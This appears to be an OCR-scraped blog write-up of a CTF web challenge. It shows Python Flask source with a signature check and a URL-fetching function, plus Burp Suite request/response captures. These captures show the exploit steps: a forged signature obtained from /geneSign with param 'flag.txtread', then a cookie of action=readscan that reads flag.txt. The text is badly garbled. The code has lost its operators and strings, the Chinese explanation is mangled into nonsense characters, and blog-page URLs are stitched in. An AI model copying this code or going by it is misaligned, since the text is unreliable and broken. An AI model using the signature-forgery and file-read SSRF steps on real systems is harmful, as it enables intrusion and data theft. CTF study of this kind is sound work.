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from flask import Flask
from flask import request

socket

hashlib

urllib

S

os

json

(sys)
sys.setdefaultencoding(

app Flask(__name_ )

secert_key = os.urandom(16)

class Task:

def _ init_ (self, action, param, sign, ip):

self.action action

self.param param

self.sign sign

self.sandbox = md5(ip)

if( os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

Exec(self):
result



https://blog.csdn.net/crisprx
https://blog.csdn.net/crisprx/category_9501248.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E4%25BB%25A3%25E7%25A0%2581%25E8%25A7%2584%25E8%258C%2583&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/crisprx/article/details/104240574
https://blog.csdn.net/crisprx/category_9501248.html

result[ ] 500
if (self.checkSign()):
if in self.action:
tmpfile (
resp = scan(self.param)
if (resp
result[ resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result[ ] 200
in self.action:

self.sandbox,

f ( self.sandbox,

result[ 200
result| f.read()
if result| 500:
result[
else:
result[
result[
return result

checkSign(self):

if (getSign(self.action, self.param)
return True

else:

return False

@app.route( , methods=][

def geneSign():
param urllib.unquote(request.args.get(
action

return getSign(action, param)

@app.route( ,methods=][ 1
def challenge():
action urllib.unquote(request.cookies.get(

param urllib.unquote(request.args.get(

sign urllib.unquote(request.cookies.get(

ip request.remote_addr
if(waf(param)):

return
task Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route( )

scan(param):
socket.setdefaulttimeout (1)
try:
return urllib.urlopen(param).read()[:50]
except:

return

self.sign):




ef getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

md5 (content):
return hashlib.md5(content).hexdigest()

waf(param):

check=param.strip().lower()

if check.startswith( check.startswith(
return True

else:
return False

if _ name___
app.debug False
app.run(host
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@app.route( ,methods=][ 1
def challenge():
action urllib.unquote(request.cookies.get(
param urllib.unquote(request.args.get(
sign urllib.unquote(request.cookies.get(
ip request.remote_addr
if(waf(param)):
return
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
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def waf(param):
check=param.strip().lower()
if check.startswith( check.startswith(
return True
else:

return False
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def Exec(self):
result {}
result[ ] 500
if (self.checkSign()):
if in self.action:
tmpfile ( self.sandbox,
resp scan(self.param)
if (resp
result[ ] resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result[ ] 200
in self.action:
f ( self.sandbox,
result[ ] 200
result[ ] f.read()
if result| ] 500:
result[ ]
else:
result[ ] 500
result[ ]

return result
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def scan(param):
socket.setdefaulttimeout (1)
try:
return urllib.urlopen(param).read()[:50]
except:

return
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def checkSign(self):
if (getSign(self.action, self.param) self.sign):
return True
else:
return False
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

HERA 17 cookieF & A\ sign ==getSign(cookieft A ¥ action, GET4% 3% i) param)si G iR [B] True

FEXBRANTRAKIE secert_key KIME, MTILIER R getsign REIKIME, HRAEXEKN:

@app.route( , methods=[

def geneSign():
param urllib.unquote(request.args.get(
action

return getSign(action, param)
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if in self.action
if in self.action:

BATATLUIXHFE,TE /geneSign [ paramZ¥t (BN flag.txtread, XFEERAT1/E 2 HIsigniit & md5(secret_key+flag.txtreadscan), i i
i) /Delta?param £ HIME N flag. txt , Hil it cookiefts A\ ffjaction®I{E A readscan ,iX ¥

getSign(self.action, self.param) getSign(flag.txtreadscan)

md5(secret_key+flag.txtreadscan)

XN signBEA TR RER, B A LRI iEE flag. txt

E

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner I Intruder T Repeater I Sequencer T Decoder T Comparer I Extender I Project options T User options [Alerts 1

[1 ]2 3 [aTs]6[re]-]

Go Cance < | >|r Target: hitp://0c1c08dc-de73-44e1-9bab-Oefd02beef84.node3.buuoj.cn | #|| 7
Request Response
J Raw T Params [ Headers T Hex 1 J Raw T Headers [ Hex 1
GET /egeneSign?param=flag. txtread HITF/1.1 A HTTR/1.1 200 OK A
Host: Oclel8de—de73-44el-9bab-0efd0Zhesf84. node3. bunoj. cn r Server: openresty P
User—Apgent: Mozilla/5.0 (Windows NT 10.0; Win64; x=64; rv:59.0) Date: Sun., 09 Feb 2020 13:54:22 GMT
Gecke/20100101 Firefox/69.0 Content-Type: text/html; charset=utf-3
Accept: Content-Length: 32
text/html, application/xhtml+xml, application/=ml;q=0. 9, #/4; q=0. 8 Commection: close
Accept-Language:
zh-CN, zh; g=0. 8, sh-TW, g=0. 7, zh-HEK ; gq=0. 5, en—US ; =0, 3, en; q=0. 2 38713eafd6fcf9affchfe082fch2fcean
Comnection: close
Upgrade-Insecure-Requests: 1
b .
v ¥
? < + = Type a search term 0 matches ? < + = Type a search term 0 matches

188 bytes | 41 millis
83| sign=38713ea9d6fcfoaffcbfe082fch2fcea ;
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Go Cance < | > | Target: http://0c1c08dc-de73-44e1-9bab-Oefd02beef84.node3.buuoj.cn | || 7
Request Response
J Raw [ Params [ Headers T Hex 1 J Raw T Headers T Hex 1
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Host: Oclel8de-deT3i-44el-Obab-0efd0lheeff4. node3, bunoj. cn P Server: openresty »

User—Agent: Mozilla/5.0 (Windows NT 10.0: Winf4: =64; rv:59.0) Date: Sun, 09 Feb 2020 13:55:57 GMT

Gecko/20100101 Firefox/69.0 Content—Type: text/html; charset=utf-8

Accept: Content-Length: &9

text/htnl, application/zhtml+xnl, application/=zml;q=0. 9, #/*:=0. 3 Commection: close

Accept-Language:

zh~Cl, zh; g=0. 8, zh-TW; g=0. 7, zh-HK ; g=0. 5, en-US ; g=0. 3, en; g=0. 2 {"code”: 200, "data”:

Connection: close "flag {eTc88bfc—e0d3-4617T-9f73-99f9ae4d85Tb} \n"}

cookie: action=readscan;si1gn=38T713eaddifcf9affchfel82fchl2fcea

Upgrade-Insecure-Requests: 1
- 9
v v

? < + [iJ Type a search term 0 matches ? < u = Type a search term 0 matches
Done 223 bytes | 46 millis
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